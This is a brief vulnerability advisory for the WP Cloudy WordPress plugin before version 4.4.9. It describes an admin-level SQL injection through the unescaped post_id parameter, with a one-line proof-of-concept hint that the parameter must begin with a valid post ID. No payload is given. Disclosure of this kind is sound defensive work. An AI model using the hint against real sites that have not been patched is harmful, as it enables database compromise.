WordPress Plugin Vulnerabilities

WP Cloudy < 4.4.9 - Admin+ SQL Injection

Description

The plugin does not escape the post_id parameter before using it in a SQL statement in the admin dashboard, leading to a SQL Injection issue

Proof of Concept

The first digits of the post parameter must be a valid Post ID (Weather post or not)
